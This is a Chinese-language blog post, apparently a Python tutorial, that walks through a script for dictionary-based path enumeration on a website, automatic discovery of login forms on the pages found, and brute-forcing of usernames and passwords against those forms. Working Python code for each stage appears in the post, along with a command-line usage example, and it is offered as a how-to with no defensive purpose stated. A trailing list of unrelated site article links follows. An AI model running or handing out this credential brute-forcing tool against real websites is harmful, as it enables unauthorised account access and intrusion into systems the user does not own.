python遍历路径破解表单的示例


Posted in Python onNovember 21, 2020

首先是利用python遍历路径,采用字典爆破的形式,当然如果只是单纯的爆破路径,简单写一个多线程脚本就行了。这里考虑如何对爆破到的路径进行第二步利用,此处尝试对猜解到的路径进行表单发现及登陆爆破处理。

​首先就是路径爆破,采用多线程队列,爆破路径,判断形式为200响应码。

while not self._queue.empty():
      queue = self._queue.get(timeout=0.5)
      try:
        r = requests.get(self.url+queue,timeout=5, headers=self.headers)
        if r.status_code == 200:
          print "[200] %s" %(queue)
          soup = BeautifulSoup(r.content,'html.parser')
          if soup.find('form'):
            self.brute(soup, queue)

猜解到路径后交给brute方法处理,方法实现了一个css选择器,获取form表单中的input字段标签,提取标签参数组合成post参数值,然后提取表单中的action跳转页面,如没有页面默认在当前表单页提交。

input = soup.select("form input")
      for i in input:
        try:
          if i.attrs['type'] == "hidden":
            name, value = i.attrs['name'], i.attrs['value']
            list_post.append(name+'='+value)
          elif i.attrs['type'] == 'password':
            name = i.attrs['name']
            list_post.append(name+'=$$$')
          else:
            name = i.attrs['name']
            list_post.append(name+'=%%%')
        except:
          continue
      for i in list_post:
        post = post + i + '&'
      action = soup.find_all('form')
      for i in action:
        if i['action']:
          actiontag = i['action']
        else:
          actiontag = queue
      self.payload(post, actiontag)

获取参数值后,交给payload方法处理登陆,采用requests库的session登陆。获取cookie,先采用session请求获取cookie后,再采用session携带cookie进行请求提交。然后对输入的验证值进行判断是否为登陆成功。

for name in self.username():
      post_user = post.replace('%%%',name.strip())
      for pwd in self.password():
        post_pwd = post_user.replace('$$$',pwd.strip())
        session = requests.Session()
        session.get(self.url+'/'+action, headers=self.headers, verify=False)
        r = session.post(self.url+'/'+action, data=post_pwd, headers=self.headers, verify=False)
        if self.word in r.content:
          print '[username] %s' %name +'\r' + '[password] %s' %pwd
          return

为了判断是否登陆成功,采用的人为输入判断字符串的形式。也就是脚本执行形式为

python xxx.py http://xxxx.com xxxxx

以上就是python遍历路径破解表单的示例的详细内容,更多关于python 破解表单的资料请关注三水点靠木其它相关文章!

Python 相关文章推荐
Python编码时应该注意的几个情况
Mar 04 Python
python新手经常遇到的17个错误分析
Jul 30 Python
在Python的Django框架中编写错误提示页面
Jul 22 Python
python3 实现一行输入,空格隔开的示例
Nov 14 Python
Python3 log10()函数简单用法
Feb 19 Python
Python操作SQLite数据库过程解析
Sep 02 Python
python反转列表的三种方式解析
Nov 08 Python
使用pickle存储数据dump 和 load实例讲解
Dec 30 Python
如何基于Python + requests实现发送HTTP请求
Jan 13 Python
Python实现GIF图倒放
Jul 16 Python
PyTorch如何搭建一个简单的网络
Aug 24 Python
pytorch分类模型绘制混淆矩阵以及可视化详解
Apr 07 Python
Python如何批量生成和调用变量
Nov 21 #Python
在终端启动Python时报错的解决方案
Nov 20 #Python
python 批量下载bilibili视频的gui程序
Nov 20 #Python
Python ellipsis 的用法详解
Nov 20 #Python
python 动态渲染 mysql 配置文件的示例
Nov 20 #Python
Python paramiko使用方法代码汇总
Nov 20 #Python
分享一枚pycharm激活码适用所有pycharm版本我的pycharm2020.2.3激活成功
Nov 20 #Python
You might like
PHP中的日期加减方法示例
2014/08/21 PHP
PHP将字符分解为多个字符串的方法
2014/11/22 PHP
ThinkPHP 3.2.2实现事务操作的方法
2017/05/05 PHP
关于Yii2框架跑脚本时内存泄漏问题的分析与解决
2019/12/01 PHP
在JS中解析HTML字符串示例代码
2014/04/16 Javascript
nodejs URL模块操作URL相关方法介绍
2015/03/03 NodeJs
nodejs通过phantomjs实现下载网页
2015/05/04 NodeJs
简述JavaScript中正则表达式的使用方法
2015/06/15 Javascript
数组Array的一些方法(总结)
2017/02/17 Javascript
JS验证全角与半角及相互转化的介绍
2017/05/18 Javascript
JavaScript在控件上添加倒计时功能的实现代码
2017/07/04 Javascript
Bootstrap弹出框(Popover)被挤压的问题小结
2017/07/11 Javascript
详解nuxt sass全局变量(公共scss解决方案)
2018/06/27 Javascript
详解iview的checkbox多选框全选时校验问题
2019/06/10 Javascript
[00:48]食人魔魔法师至宝“金鹏之幸”全新模型和自定义特效展示
2019/12/19 DOTA
python判断字符串编码的简单实现方法(使用chardet)
2016/07/01 Python
python3编码问题汇总
2016/09/06 Python
python编程之requests在网络请求中添加cookies参数方法详解
2017/10/25 Python
Python cookbook(数据结构与算法)从任意长度的可迭代对象中分解元素操作示例
2018/02/13 Python
Python中整数的缓存机制讲解
2019/02/16 Python
python图形绘制奥运五环实例讲解
2019/09/14 Python
python  ceiling divide 除法向上取整(或小数向上取整)的实例
2019/12/27 Python
python由已知数组快速生成新数组的方法
2020/04/08 Python
django自带的权限管理Permission用法说明
2020/05/13 Python
通过实例解析Python文件操作实现步骤
2020/09/21 Python
python利用paramiko实现交换机巡检的示例
2020/09/22 Python
微软澳洲官方网站:Microsoft Australia
2017/01/10 全球购物
英国皇室御用百货:福南梅森(Fortnum & Mason)
2017/12/03 全球购物
介绍一下EJB的分类及其各自的功能及应用
2016/08/23 面试题
国家助学金获奖感言
2014/01/31 职场文书
网络管理专业求职信
2014/03/15 职场文书
货款欠条范本
2015/07/03 职场文书
九年级数学教学反思
2016/02/17 职场文书
MySql子查询IN的执行和优化的实现
2021/08/02 MySQL
使用javascript解析二维码的三种方式
2021/11/11 Javascript
「回转企鹅罐」10周年纪念展「輪るピングドラム展」海报公开
2022/03/22 日漫